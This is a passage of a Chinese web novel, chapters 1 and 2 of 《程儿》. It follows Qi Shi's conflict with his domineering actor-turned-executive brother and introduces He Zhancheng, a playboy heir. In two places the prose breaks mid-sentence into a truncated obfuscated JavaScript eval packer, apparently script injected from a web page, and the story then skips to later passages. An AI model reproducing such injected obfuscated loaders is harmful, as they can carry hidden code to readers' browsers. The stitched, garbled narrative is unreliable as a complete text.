《程儿》 1. 第1章 “哥。” “嗯。” 皮鞋踩在一尘不染的灰羊绒地毯上,步履从容。 对方颇为识相地起身让位。男人面容淡淡,不客气地绕进办公桌。 眼神一瞥,注意到书架上的、与整间灰白黑色调总裁办公室毫不协调的鲜红色斗牛头摆件,打量几眼,第三眼嫌弃地拿起来,丢进桌旁的垃圾桶。 薄寡的嘴唇动了动,吐出一个嗓音低沉但极为刻薄的“俗”。 搭手拉开椅子,缓身坐进桌前柔软的黑皮革转椅里,俨然一副他才是这间办公室主人的架势。 对面,戚时懒洋洋仰身靠在椅子上:“哪俗了,我专门找风水大师看过,人家大师说这叫‘牛气冲天’,能旺财运的,这玩意儿一个三千多呢,你就这么给我扔了,你得赔啊。” 男人低头理着袖扣:“我上次给你挂了神经内外科,你去拍脑CT了么?” 戚时不爽地别过脸:“没有!” 男人淡淡提醒:“我今天又挂了一次,如果你是脑残,趁早让医生给你开个刀治治,如果治不好就算了,反正你这脑子留着也没用。” 戚时:“……” 他瞪着大眼珠子瞅对方:“诶,你是我亲哥么?你是么?有你这么侮辱人的吗?” 男人终于掀眼皮看向他,眸色冷沉几分:“这话不该问问你自己么?你昨天对我的人干了什么,你心里没点数么?” 戚时抱起臂,眼神心虚地瞥向别处,没吭声。 他昨天早上一不小心……趁着他哥的宠物睡死,把只穿一条裤|衩的那货从家里弄出来,扔在他们公园湖边了。 湖边草坪的……零下22℃的……狗屎和鸟屎淋漓的……一尺厚的……雪地里。 男人一动不动地盯着他,语气凌厉:“我警告你,这事没有下一次,再敢乱来,别怪我跟你发火。你知道我发火的后果。” 戚时不乐意听这话,皱起眉头:“我也说了,你在外面怎么玩儿都无所谓,别把人领家里来就行,就算领家里来,你也得领个差不多的吧?” “你明知道他那种登不得台面的货色是在跟你逢场作戏,你还护着他?你数数,自从他傍上你之后,你俩都闹了多少回绯闻了?” “你没看出来?他就是要借着你的势把他自己的热度炒上去啊!哥,你都三十好几的人了,你就算挑十八线也不能挑一个八十线吧?当初说好要退幕后才把集团交给的我,现在倒好,你成了个风流快活的甩手掌柜了,我天天出面澄清做公关,我不难做吗?” “我他妈花着成叠的钞票养着那帮法务,难不成就是为了整天给一只鸭子打官司吗?这都两年了吧?我为了你,我在媒体面前给那个心机男打掩护,我心里不憋屈?我的忍耐也是有限度的好吧?我就求你清醒一点行不行,哪怕他流露出过一丁点真心喜欢你的意思,我都不至于做到这份儿上!问题是,他就是纯粹的利用你啊!你怎么就看不明白呢?!” “我真搞不懂,那个鸭子究竟有什么好的,值得你——” 男人皱眉:“别张口闭口就是鸭子。” “啊行行行!”戚时挥手打断:“八十线!那个八十线有什么好的,值得你——” 男人眉心更深:“也不许叫他八十线。” 戚时啧了声。 他清咳两声,摆正了脸色:“哥,我认真的,咱们亲兄弟,我能害你?我比谁都希望你能好,可道理你应该比我懂啊!我最近认识好几个身份背景和外形智商都和你高度适配还年轻的男人,你真要想找人过日子的话,我随时给你介绍啊!可是,你对一个人渣单方面付出根本得不到回报,对吧?你看你都三十多岁了,还成天被一个二十岁出头的小年轻钓着,多丢——” 男人脸色一沉:“你再说一句‘三十多岁’,立马就给我从这间办公室里滚出去。” 戚时:“……” 戚时挠挠脑门:“这是我的办公室。” 男人没心思跟他贫,起身便往外走,头也不回道: “他现在高烧三十九度六,正躺在床上昏迷不醒,既然你说不想在家里看到他,那你就搬去外面住吧。” 戚时:“?” 不敢置信地看着男人离去的背影,伸长脖子,一双英气的眉头皱巴成结,声音拔高了八个度:“哥,你认真的?我记得咱们是有血缘关系的,还是相依为命的那种!” 男人反手带上门,高挑笔挺的西装背影渐渐消失在将要合上的门缝: “你的意思,我比你清楚,但在我腻味之前,你没有插手的余地。” 戚时眉梢一挑: “真的?” “你原来不是认真的?” “从今天开始,你去外面自己住,听见没?” “成!” 戚时一口答应下来。 虽然觉得哪里有点不对劲,但是,他哥显然需要一点儿思考的空间。 他相信以他哥的品味,肯定不会看上一个连他戚时都瞧不上的八十线心机男。 戚时闭眼靠在椅子上沉思了会儿,然后站起身,缓缓弯下腰,从垃圾桶里把他那个自认为很酷的红色斗牛头捡出来,放进了抽屉里。 戚时仰起头,视线一一扫过整墙摆放着的、艺术气息浓厚的工艺品,以及厚度夸张、语言不一的原文书籍。 这些并不是装饰品,全是他哥一本本读过的、一件件买回来的。 戚时两手插兜,沉默地立在墙前,一向平展的眉心折成“川”字褶皱。 他哥扔掉了他唯一放在架子上的东西…… 他哥在向他暗示,就算他哥退到幕后了,擎荣影视集团——这个由他哥白手起家打下来的江山,现在还是由他哥做主。 他知道,他都知道。 他哥已经在发脾气了。 记忆太久远了,这好像……才是他哥第三次跟他发脾气。 第一次,爸妈出车祸那年。 他哥十七岁,他七岁。 老实说,他对爸妈的面容、声音,还有他们尚在世时,他们一家人生活过的场景都毫无印象。 他只记得,爸妈的葬礼是在一个浓云的阴天,傍晚时候,天空飘起了毛毛雨,他和他哥抱着两面灰白遗像跟在送殡队伍里。雨水打湿睫毛,震天响的唢呐声将他茫然无措的情绪淹没,他突然很想哭,就扭头跟他哥说害怕,想走。 他哥仿佛一夜之间蜕变了,本来有些婴儿肥的侧脸轮廓在短短几天就变得锋利起来,眼神也沧桑不少。他哥跟他说,再忍一会儿,晚上回家给他买烤红薯吃。 他跟他哥说骗人,他们家这么穷,他哥根本没钱给他买烤红薯。 他哥说很快就有了,因为法院判肇事者给他们20万的赔偿金。 他立刻就哭了,跟他哥说他不吃烤红薯了,他什么都不想吃,他只想回家。 他哥的眼睛似乎也有些模糊了,他不记得他哥当时什么表情,只记得他哥说,以后咱俩人就是一个家了,相依为命的家。 他当时不懂“相依为命”是什么意思,只觉得是个特高级的词儿。 和“长兄如父”这个词儿一样高级。 他爸妈没几个近亲来参加葬礼。 听说他爸当时在做生意,又是贷款又是借钱的,负债累累,很多亲戚都不和他们家来往了,就连葬礼都是乡镇上的居委会帮忙操办的。 葬礼是白色的。 不是白色棉花糖的那种白,而是弥漫着苦味的、像白色药片的那种白。他置身其中,意识却从大脑中完全抽离。他不知道自己身在何地,只看见墙边堆满的白色和黄色的花圈,周围走动着穿白色孝服的陌生人,整个世界充斥着令人惶恐不安的哭声,空气中漂浮着劣质纸钱燃成灰烬的呛味。 某一刻,那种天旋地转的、令人窒息的白色将他压得眩晕,他趁着所有人没注意,一溜烟跑走了。 那时候,他们镇上的治安并不好,人贩子偷小孩这种事并不稀奇,他哥以为他失踪了,疯了似的到处找他,嗓子都喊哑了。 等他在长街尽头的两元店里玩玩具,听见外面好像是他哥在喊他,慢吞吞地推门出去回应时,他哥就像头浑身着火的野兽,迈着那两条长得跟杀人凶器一样的大长腿,沉着脸朝他走来。 然后二话不说,抬腿冲他肩上给了一脚,直接给他踹飞。 “待在我身边,哪里也别去。”他哥的喉咙像吞了什么铅状物,连声音都发着喑哑的肿。 他摔在雨水淋漓的路面上,哇地一声哭出来,然后气愤不过,倔强地从泥水里爬起来,扭头又要跑。 他哥干脆一把揪住他衣领,拎小鸡似的给他拎在半空,另一手沾着雨水的冰冷手指死死地掐着他的脸,一双猩红的眼睛恨不得瞪穿了他。 “我在跟你说话!我他妈让你待在我身边!哪里也别去!哪里别去!!听见了吗!” “呜呜呜呜听见了……” 他当时就决定一辈子都不原谅他哥。 去街上捡瓶子卖破烂睡桥洞底下都不和他哥住。 他一回家就摔门把自己关在房间里写绝交信,虽然那封信大部分字都用的拼音,但纸面整洁,语气严肃,也算是份正式文件。 但等他义愤填膺地拿着绝交信推门出来,发现他哥正站在客厅门口背对着他脱雨衣,脚边淌了一地的水。 雨衣是半截式的。 夜晚小雨转暴风雨,他哥应该是怕风大把雨伞吹坏,穿着那件小雨衣跑去外面,下面的牛仔裤和板鞋都湿透了。 他有点儿心疼,就冲白天踹他一脚的那狗畜生喊了声“哥”,问他干嘛去了。 他哥抹了把湿淋淋的脸,低头咳嗽几声,然后从怀里掏出两个超大个儿、超级香甜的烤蜜薯递给他。 “掰开,吃中间的,中间的甜,剩下的我吃。” 完犊子。 绝交信从他指缝里滑落到地上。 他又觉得他哥是世界上最好的哥哥。 第二次,他高中叛逆期。 他十七岁,他哥二十七岁。 他哥在上大学的时候转行做演员了,他为此没少跟他哥吵架。 他哥从小到大学习都贼好,学神级别的那种,随便考考就能甩第二名八十条街的那种,可他哥最后考了本地的大学。 本地的,学费便宜,一所连博士点都没有的破二本师范大学。 他哥的大学,离他的小学只有步行五分钟的距离。 但当时他还小,没意识到他哥为了照顾他放弃多么重要的前途,所以等十年后他上了高中才终于明白过来,他哥是个混得彻头彻尾的畜生。 他和他哥不一样。 他学习不好,中下游,到了高中更是吊车尾,每当在课堂上各科老师跟他们强调高考成绩、强调考一个好大学的重要性、强调高考改变命运,尤其是能改变他们这种出身小县城的学子们的命运,他不耐烦地趴在最后一排的课桌上,心里闹腾又窝火。 上高中时候,他几乎每隔几天就给他哥打电话。他拿着他哥给他买的最新款手机骂他哥,什么难听的话都讲,然后临挂电话,又开始傻了吧唧地掉眼泪。 他哥一直很沉默。 沉默地听他发疯,沉默地听他哭,最后再风轻云淡毫不在意地说一句“都是陈年往事了,我都不在乎了,你在乎什么?” 那时候他哥虽然已经在演艺圈闯荡五六年了,但还是个只能接配角戏的十八线小演员。可他哥说十八线小演员也能赚不少钱,比当老师赚钱,让他在老家这边安心学习,还告诉他学习不好也没关系,大不了最后就走体育生。 他哥知道他唯一能拿得出手的就是体能了。 他哥砸了不少钱给他报各种补习班,语数外理化生,画画表演之类的兴趣班也报过,还想着让他考雅思托福,送他出国留学,最后却发现他真的一个都念不下去,英语撑死只能考个及格分,因此判定他是头脑简单,四肢发达的那种类型。 他哥接受能力不是一般的强,就说他喜欢运动挺好的,身体健康就行。 他不知道该怎么再骂他哥了。 他喜欢去健身房练格斗,一般都是把他哥当做假想敌来揍的。 成天烦躁躁的,他心不在焉,根本学不下去。 他在学校里浪荡度日,他哥奔波于各地接通告、试镜,睡机场、睡车站、没日没夜的工作。 他哥身边连个助理都没有。 他哥这个畜生。 他上高三那年,他哥演了部网剧,据说那部剧的投资方大有来头,本子也好,他哥第一回做了男主角,立刻就从十八线火速蹿红成了三线小明星,赚了不少钱,知名度也提高了,连他身边好多女同学都开始粉他哥了。 他阴郁的心情一下子明快了好多,仿佛身上积压已久的债务终于还清了,尽管他从始至终都没为他哥做过任何事。 第一次迫不及待地打电话恭喜他哥,没再骂,也没哭,而是真心实意的,祝贺他哥终于成功了。 “哥!”他兴高采烈地说:“你终于熬出头了!你是不是发大财了!赶紧回来给我买新手机!还有游戏机!还有!还有!你给我买世界杯的门票!” “知道了,”那边声音含笑,“你小子!就算没发财也得给你买啊。” 他哥没有回来。 他哥为了得到主演的角色,和那部剧的投资人睡了。 铺天盖地的负面评价甚嚣尘上。 一整周,睁眼,闭眼,他只要一打开手机,屏幕界面就会不断弹出的种种娱乐新闻头条、微博热搜、短视频热搜、营销号剪辑……无一例外,全是他哥的丑闻。 狗仔还上传了他哥和一个人进酒店的像素模糊的视频,虽然在短短几秒之内就被各大平台迅速删除了,但他还是通过别人下载的聊天记录看到了。 看了无数遍。 投资人是个男的。背影瘦瘦高高的,侧脸戴着口罩,开着一辆黑色加长版的商务车,下车的时候,牵住了他哥的手。 他哥也是个男的。 他心里猛地泛起一阵恶心。 那种厌恶、憎恨又心疼的感觉再一次重重地压在了心头,他心里恨得喘不过气。 晚上放学,他拎着书包走在路上拨电话,准备再把他哥骂一顿,然后让他哥别演戏了。 他都想好了,他不要上大学了,高中也不想上了,他也不要最新款手机了,不要名牌衣服和书包鞋了,他可以靠端盘子养着他自己和他哥。 他们是相依为命的两个人,没道理永远只有一个人在付出。 路过公交站牌时,他哥接通了电话,他还没开口,就听见人群里有个男生讲了他哥的名字。 他神经敏感得过分,当即止住了脚步。 有个他哥的粉丝在和那个男生吵架,而男生显然是每个人在中学时代都会遇到的那种招人厌类型中的典型,嬉皮笑脸的,故意刺激她,说她是他哥的脑残粉,和他哥一样没底线,会为了目的不择手段,会随便和人睡。 粉丝气得哭出来,冲他吼了一声,说不可能!说那都是营销号为了博眼球恶意捏造的虚假信息,是为了蹭他哥的流量,还说是他哥对家的红眼病粉丝造的谣,还有他哥的公司不好…… 随便。 他想。 这事是真是假,随便怎样。 他要让那群人见识见识他哥真正的脑残粉是什么样儿。 他扔了书包,挂了他哥的电话,像当年他哥踹他一样,毫不犹豫地反手抄起脚边的板砖,也迈着一双长得像杀人凶器的大长腿,几步拨开人群冲到那男生面前,蓄足了力,对准他的脸就拍了下去。 噗——! 板砖砸落到人鼻子上,空气中响起鼻梁骨断掉的声音。 人群惊呼尖叫,男生痛得晕厥过去,血溅了他一脸。 他爽了。 事后,他在派出所里见到了他阔别近一年的老哥。 一身典雅贵气的深灰西装,极衬那人高挑身形的黑大衣——还有每次遇到困难,都如救世主一样降临在他眼前的男人。 他哥锃亮的皮鞋比派出所的灯泡还亮,步履匆匆地赶来,风尘仆仆又惊天动地,行走间周身拂过的空气都散发着淡淡奢靡的香水味。 他哥不仅是位成熟稳重的演员,更是一颗冉冉升起的、耀眼夺目的大明星。 他哥经历了这么多事,居然还帅得那么惊天地泣鬼神,他就忍不住想,就算他哥和男的睡又怎样?反正他哥看起来也不像是在下面的那个。 他哥花了不少钱和那男生的家长和解,赔得医药费比当年撞死他爸妈的还要多,可那男生的母亲还不依不饶地拽着他哥哭喊、斥责,发了疯似的上手打他。 他哥一如既往地沉默忍受,不反驳半句,直到对方意识到真的骂不动他哥,转过脸来开始骂他,说他是“有爹妈生没爹妈养的小畜生”,他哥那一成不变的、仿佛戴了微笑面具般的和善面孔终于阴沉下来。 沉寂如幽潭的眸底迸射出寒光,他哥挡在他身前,冷冷地望向他们。 “不好意思,我反悔了。” “我们法庭见。” 他哥当着警察的面撕了和解书,以一种平淡至极的口吻,对他们说:“起诉吧,看是我先赔死,还是你们先在官司上被我耗死。” 他在旁边拍着牢门狂笑不止。 他就知道。 他和他哥是一类人。 不过很快他就笑不出来了。 好容易他哥给他保释出来了,回到家他连热水都没喝上一口,他哥就一脚给他踹地上,然后冷着一张脸,不由分说开始抡皮带抽他。 大爷的……他哥好的时候是真好,温柔和蔼又慈祥,完全是个不会生气的老父亲,很多时候,他甚至觉得就算他让他哥去死,他哥也会眼睛都不眨一下就去死,但他哥狠的时候也真他妈狠,揍他的时候绝对不会留一丝情,完全就是把他当汉|J的程度来整治。 “第一,我说过,打架可以,见血不行!” “第二,能用钱解决的问题,动手不行!” “第三,无论犯什么事儿,为你自己可以,为我不行!” 他哥的怒斥声好像从地狱里传上来似的,轰隆隆的,噼里啪啦打在他身上,疼得他满地打滚,也不敢叫疼。等他哥发泄完怒火了,他才骂骂咧咧地爬起来,一瘸一拐地从电视柜抽屉里翻药箱给自己上药。 他哥可能真喜欢男的,他光着膀子的时候,他哥一般不会碰他,也没帮他上药,就坐在沙发边上等他完事儿了,才扔给他一件T恤,说要跟他谈谈。 他点点头。 然后,仿佛刚才那场暴力的殴打不曾发生过一样,他哥点了一大桌子菜,兄弟俩毫无芥蒂地坐在桌前庆祝他们的重逢。 这回沉默的倒成他了。 不知怎的,他哥在他面前的时候,他在电话里想说的、想骂的一句都讲不出来了。 公寓客厅里散着暖色调温馨的光,沙发脚旁堆着他染了血的校服,他怂得跟孙子似的,一声不吭,只管埋头啃鸡爪。 他没问他哥怎么跟一个男的做那种事儿,也没说你别演戏了,我明天就退学,以后我端盘子养咱俩算了。他什么都说不出口,就静静地等着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他傻傻地笑了,举酒杯和他哥碰了一下:“好看就行,好看就行,别的都不重要。” 后来的后来…… 他哥的演绎事业开始一路飞升,才不过短短五年,他哥的名字就成了当代流量的代名词,每年一部爆火的电视剧,广告代言接到手软,手握数个奢侈品牌,成为SN和DR的全球品牌宣传大使,并选了个黄道吉日,拿下一整栋办公楼,和几位合作多年的老朋友及合作伙伴开创了擎荣影视集团。 前年不知道犯什么晦气,有个营销号打着“旧瓜新吃”的旗号,又把他哥那件陈年旧案给翻了出来。正所谓今时不同往日,他哥当年是小糊咖,砸点儿钱把视频撤了也没多少人在意,但大明星闹黑料全靠砸钱遮掩只会欲盖弥彰,于是他灵机一动,就撺掇他哥去了一档生活综艺做嘉宾。 他哥表现力极强,一改往日媒体镜头前“高冷心机男”的形象,在镜头前展现出超凡绝伦的内涵与魅力,和队友合作不争不抢不出风头,但又能恰到好处地在关键时刻抛几句梗制造综艺效果,完全引领了整个综艺的节奏,一夜之间,颇具争议的“高冷心机男”变众望所归的“知性暖男”,他哥俘粉千万,连占半月热搜第一,正巧那段时间他哥的新剧也在热播,随着幕后花絮的不断放送,他哥的黑料也被超大体量的粉丝和接连不断的新话题新物料冲掉了,与此同时,他哥凭一己之力,带动那档综艺、剧收视率连翻三番,给公司直接创造经济收益再破新高,事业几乎是用“飞跃”这个词,横跨上了一个新梯度,成为娱乐圈当之无愧的顶流。 庆功宴上,氛围浓烈。众人推杯换盏把酒言欢,几个高层老总喝得红光满面的,争相追在他哥身后拍马屁吹牛逼,他哥也有点醉了,在众人起哄中摇摇晃晃地站起身,对他举杯,搞得是名利场惯有的那一套:“要说功臣,还是我们家老二在幕后运作的好,来,老二,我敬你!” 什么玩意儿。 虽然知道他哥几次三番在宴会上做这种表面功夫是为了给别人看,是为了稳固他这个二把手在集团里的地位,但每次一见他哥这种故作姿态的装样儿,他就特想掀桌子骂人。 漫不经心地举杯和他哥碰了下,仰头将杯中酒一饮而尽。 整座大厅,他看谁都不顺眼。 包括他自己。 他当然要运作好。他是他哥的脑残粉,他哥既然要做天上会发光的星星,那么他就得做势力庞大的乌云,不择手段把他哥星途上的障碍全都遮挡下去。 他哥曾一度孤立无援,他现在当然要站在他哥身边。 否则他又怎么会想也不想就一头扎进这个他曾经烦恶至极的圈子。 不过去年开始,他哥进入了职业倦怠期,说电视剧就拍腻了,需要调理一段时间,并多次在开会时跟他们谈起想转型做电影,考虑到未来集团的经济效益和发展,他哥可能更多的要退到幕后做投资人了。 每当想起他哥这几句话,戚时都不得不感慨时间过得真是快,十五年前他哥还是个为能争取到一个配角到处写自荐信给导演的业内无名氏,八年前还是个靠看金主脸色才能演网剧主角的业余十八线,如今,苦尽甘来,他哥已经身兼(话剧)演员、歌手、制片、投资人等多重身份,是能随心所欲地挑本子、被诸多名导欣赏、争相合作的演艺界大佬了。 但他哥丢手榴|弹一样把好容易打下的基业丢给了他打理,然后跑到擎荣影视底下的一个分支经纪人公司里做小老板过渡瓶颈期这件事让戚时万分后悔。 因为要不是他没底线地同意他哥的一切要求,他哥就不会碰到那个现在还赖在他们家装死的八十线男绿茶了。 不过这事也怪他。 戚时无奈扶额。 都怪他太能干、业务能力太强了,才让他哥这么放心。他和他哥脾性如一,作风相似,即便他是半路天降,从他哥手里接了位子,其他董事也没多大意见。 有意见也没用。 擎荣影视集团,他哥最大。 只是…… 曾经怒火冲天地掐着他下巴命令他“哪里也不许去,就待在我身边”的那个人变得遥远模糊了。 他哥已经不在乎他去哪儿了。 他哥还嫌他碍事、要让他离开家。 他哥要有除他之外的、更加亲密的人相依为命了。 …… …… “戚总。” 中午,秘书在外面敲门。 戚时从漫长的神思游离中回过神,扭头看向门口,清清嗓:“进。” 秘书提着三层的饭盒进来。 戚时眉梢一挑,问:“我哥拿来的?” 秘书点头,递上饭盒,笑道:“早上带来的,刚帮您微波炉加热了。” 戚时下巴一扬,示意她将东西放在落地窗沙发前的矮桌。 秘书:“用帮您打开先晾着吗?” 戚时打了个哈欠,又伸了个懒腰,然后掏手机在燕京医院公众号上搜他哥给他挂的“爱的号码牌”,随口说:“不用,你看看我今天晚上有其他安排没,没事儿的话我去趟医院拍个片子。” “啊,”秘书一惊,“您生病了?” “没,完成任务。” “哦,”秘书立刻说,“您晚上要去见盛铭的陈总。” 戚时抓了把头发:“我怎么记得我好像还说了要和王薪宇去蓝梦喝酒来着?” “是的,您本来要和王总去蓝梦见朋友,但盛铭集团的陈总跟您约了同一时间的饭局,鉴于两件事都是私事,王总是咱们自己人,近期我们和盛铭又有合作,我就帮您取消了蓝梦的约。” “哦!” 戚时猛地一拍脑门,立刻想起来了,恍然说:“何闽轩跟陈北劲那俩小子,说要往我这儿塞个人,让我安排他们家老三去剧组吃点儿苦,锻炼锻炼身心来着。” 秘书微笑点头:“是的。” 戚时一屁股坐在沙发上,一边拆饭盒,一边不满地发着牢骚:“何老三那种惹祸精我也是活久见,真难为何闽轩不是他亲哥还愿意带他,不过说到底,这都是他们自家的私事儿,关我什么事儿啊?全中国多少家和他们陈、何两家交好的企业老板,那俩兄弟非指名道姓送我这儿来几个意思啊?怎么着?我这成天日理万机的,看起来很像是会耐心帮他们调|教弟弟的活雷|锋么?还是他们当老子开戒|黄|所的啊?难不成,他家老三来我这儿走一趟还能洗心革面重新做人不成?” “呃……”秘书尴尬地抠了抠手指,含蓄道:“可能……可能他们看中了您管理人才的能力。” “人才?”戚时冷哼一声,夹着筷子往嘴里塞了口肉包子,嚼嚼嚼,咽下去,说:“虽然没见过何老三的面儿,但何家的丑闻十成有八成都是他们家老三搞出来的,我也算是‘久仰大名’!就凭他何老三喜欢勾搭有夫之妇只一点,他还就真不算是个人。” 秘书委婉提醒:“何三少怎么说都是从蜜罐儿里养出来的千金,从小就没吃过苦,他哥哥们怎么安排都是他家里人的意愿,咱们到底是外人,他真要来,咱们好好接待了,最后再好好地给他送走,求个无功也无过最好。” “行,那就这么着。”戚时满不在意地搅动着碗里的粥,随口道:“不过有一点,你派人发话下去,禁止擎荣的女艺人跟何老三有任何接触,对个眼神儿都不行。” “啊!”秘书惊讶:“需要这么严格吗?” 戚时瞥她一眼:“那小子十二生肖属泰迪的你没听说过?我们公司要有谁敢去惹这一身臊,谁就趁早给老子卷铺盖滚蛋!” 秘书被老板难掩厌恶的大嗓门吓得一个激灵,连忙点头: “好好好,我明白!” “还有一件事儿。” “您请讲。” “你多找几个保洁,把我在西城的那栋别墅给打扫了,下午接果果的时候带她一起过去,以后我就那边住了。” “好。” 2. 第2章 “他到底是什么来头,连表姨都这么警戒?我在官网上搜他今年才二十七,和我们差不多年纪,一个没满三十的晚辈,难不成还敢嚣张到咱们盛铭的头上?” “少听我妈夸张,她就是谨慎,怕我带着老三惹麻烦,不过谁让轩哥消息这么广,我这前脚刚和擎荣影视签了合作,他后脚就让我往里面塞人,要说让老三去组里客串个角色过把瘾还好办,要是真带他进去玩儿个小半年,还得戚时亲自点头才行。” 女声笑起来:“所以今晚这顿饭,是让戚时正式接管湛程吧?这么看来,他还挺好说话的。” “他好说话?”男人不满地挥挥手,“我在那部剧的合同里让了他5%的股份,现在就这么点儿小事找他,他就算不想答应,也没有拒绝的份儿。” “哦——”女声好奇:“那你干嘛要让他5%的股份?” “这事儿就有点儿复杂了。”男人摸摸下巴,一本正经道:“简言之,是为了证明我的清白,给我家里那位一个交代。” “真没看出来,”女人又笑,“北哥你长得一脸花花公子,人还挺专一的,看来嫂子挺爱吃醋啊?” “那可不,”男人昂起下巴,“我就喜欢看他吃醋,他愿意吃醋才说明我在他心里重……” …… …… 菜还没上,因为今晚的主角还没来。旁边俩人有一搭没一搭地聊着,何湛程姿态懒慢地翘着二郎腿,一边心不在焉地拨弄着手机,一边听他刚相亲失败的表姐表哥为了避免尴尬气氛,正热火朝天的东拉西扯,顺带毫不避讳地说一嘴他的小话。 习以为常的事,他也不介意。 他是整个家族里最没有地位的人,随便谁都能编排他两句,按他爸的说法,他爸是年轻时候做了太多不光彩的事,临近晚年才造孽生了个他这样有辱家门的逆子,偏偏是老来得子,打出生就注定是老头子的心头肉,任是犯下再混账无理的错,对权势滔天的何家来说,也都是些不值一提的小事。 不过那是从前了。 现在是他大哥当家。 同父异母的大哥,典型精英派伪君子式的人物,一个衣冠楚楚的斯文败类,还好意思张口闭口就骂他是畜生,这一次,就因为他犯了点儿错,刚好撞上他二哥在外面也惹了麻烦,他大哥小半年的时间里四处奔走,光忙着给他们擦屁股,一遭折腾下来气得恨不得把他和老二一人一脚踹进棺材里,还在大街上差点儿开车撞死他,他也厌倦了隔三差五就看到他大哥那张跟欠他八百亿似的的臭脸,所以这次难得配合地服从了安排。 老大想要清净,他也想换个地方玩儿,本来跟陈北劲来的路上还挺兴致冲冲,想着接下来要吃喝玩乐逛京城,有缘的话再邂逅两三朵金粉桃花,眼下却饿着肚子在别人的地盘上等着人来了才能上菜,他突然又觉得没什么意思了。 是的,如果看不到他大哥被他气得要发疯但又碍于手足面子死活没法儿动他只能一味隐忍的铁青色的脸,他就会觉得生活很无趣。 何湛程颇为遗憾地想着,头越垂越低,开始犯困,桌上的手机嗡了几下,他又睁眼扫了下消息: —在做什么? —我想你了 —你最近有和别人约会吗? —不用回复我,我知道自己问得很冒昧 过了小半分钟,又一条: —我刚上完自习,正从图书馆出来,一抬头看见天上的星星,脑海里不自禁就浮现出你的模样 备注人:高材生(18,183,19,粘人) 何湛程眉梢斜斜地挑了一下,眼神玩味儿地品读着最后一行字。 这是前不久他大哥在街上发疯要撞死他的时候,从人群中扑出来救了他一命的大学生。 好像姓张?还是李来着?记不清了,反正人又帅又嫩,沪上985Top大一生,气质文雅,带点讨人喜的穷酸气,他当时吓傻了,瘫在人怀里,死死地抱着这人脖子,浑身都在发抖,大学生一个劲儿地安慰他,拨打了救护车,一路陪护到医院,还非常贴心地报了警,要把他大哥抓起来。 挺搞笑的,他没拦着,他那同样吓得半死的老妈,事后非要把人叫家里来吃饭表示感谢,一口一个高材生,等人临走的时候,还给高材生一张两千万的支票。 高材生全程通红着脸,每次回答他妈问话都紧张得语无伦次,见了他大哥就更好玩儿了,复读机似的,对他大哥说了差不多一万遍“对不起”和“抱歉”,直到离开时走过他家门口,高材生迷迷糊糊的,在平地上还差点绊了一跤。 那天他兴致好,亲自开着超跑载高材生回学校,路上和人有一搭没一搭地聊着。他注意到坐在副驾的某人总是偷看他,没忍住一笑,问高材生还有没有其他想要的,不管什么东西,他全都可以送他。 出乎意料,高材生人前胆小,和他单独相处时,勇气倒极为可嘉,几乎是毫不犹豫,高材生问能不能加他个联系方式,还叽里呱啦自我介绍一通,像只聒噪的雄孔雀,说自己是保送生、国家集训队的成员,拿过什么物理奖化学奖巴拉巴拉,极力在他面前展现着自己的价值。 因为无聊,何湛程在国外上读大二的时候就退学了,对方说的这些他听了只想打瞌睡,但他对高材生这种求偶式自我介绍的行为很感兴趣。 等人说完,他将车停在了一家星级酒店门前,抬手指了下对方手里的两千万支票,勾起唇角,笑问:“我很好奇,你是更想要这个,还是更想要我……的联系方式?” 高材生比他想象中要决绝得多,只是迟疑了半秒,就果断地撕掉了支票。 再扭过头来时,那人面向他的,只剩一双赤|裸裸盛满欲望的眼。 他被哄开心了。 于是他们度过了很美妙的一夜。 不同于他大哥那些冠冕堂皇的伪君子,他没有事后给床|伴分手费的习惯,他觉得这是对一夜情的亵渎,也是对彼此的侮辱。 一夜情就不是情了么? 一夜情也是情。 “我爱你,去上课吧!”他一边温柔地挥手,一边目送高材生进校门。 高材生红着脸,大力点头“嗯”了声,然后两手空空、神采飞扬地就跑去上课了。 —程哥,我进教室了! —怎么办!我已经开始想你了!【激动emoji】 —程哥,我是第一次谈恋爱,不过你放心的,我会努力做好的!【认真emoji】 —哦对了,我下午没课,本来有个实验还没做完,但是今天我想多和你在一起,我们晚上一起去看电影吧? 一连串活蹦乱跳的消息发来,每一个标点符号都洋溢着青春男大的天真气,他看也没看,懒洋洋打了个哈欠,直接关机,一路狂飙回家补觉。 何湛程认为他是很好脾气的,装了一阵子失踪,既没把人设置成消息免打扰,也没给人拉黑屏蔽,只是一味地欣赏爱慕者对他的深情——莫名被断崖式分手的高材生没日没夜的质问消息和电话轰炸,直到某天他慈悲心起,终于接起对方的电话,高材生哭得嗓子都哑了,非要见他,一定要问清楚他们的关系,他很认真地回复对方,他们不是情侣的关系,他只是短暂地爱了他一下。 他毫无愧疚心地揭下自己的真面目,对方抱之以沉默。 日子重新回归风平浪静,高材生没再联系他,他以为这事就这样结束了,没想到今晚对方又发来消息。 出于无聊,何湛程回复了一句: —你叫什么来着? 秒回: —许若林。 何湛程翘了下嘴角,回复: —我这么问,你不觉得伤心么? 对方: —如果你还会问这样的问题,我可以理解为你仍是个值得我爱的好人吗? 何湛程笑了起来,按键发语音,慢悠悠的尾调像在调情: 【许若林,你——没——救——了】 对方也语音回,男音清冽: 【或许在你眼里我的所作所为非常愚蠢可笑,但在不影响你的前提下,我想我有固执的权利。我不介意你给我贴上“舔狗”或者“恋爱脑”的标签,我只能说自己并不是盲目无知的人】 何湛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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这门亲事是他老妈闭着眼瞎撮合的,在他生日宴上,他妈前一句刚介绍了他表姐林翘楚,陈北劲后一句就不留情地拆穿“相亲么?不需要,我已经有人了”,弄得全场人谁都下不来台。 他表姨许景辉嫌陈北劲没礼数,将人好一顿训斥,后来又知道他大哥和陈北劲俩人要商量着把他弄来燕京,于是把陈北劲骂得更狠了。 翘楚姐当时没搞清楚状况,觉得她有点儿责任,就站出来劝了他表姨两句,他妈正好不放心他这两个不太把他当回事儿的哥哥,顺势就推着家里唯一有责任心的翘楚姐过来保护他。 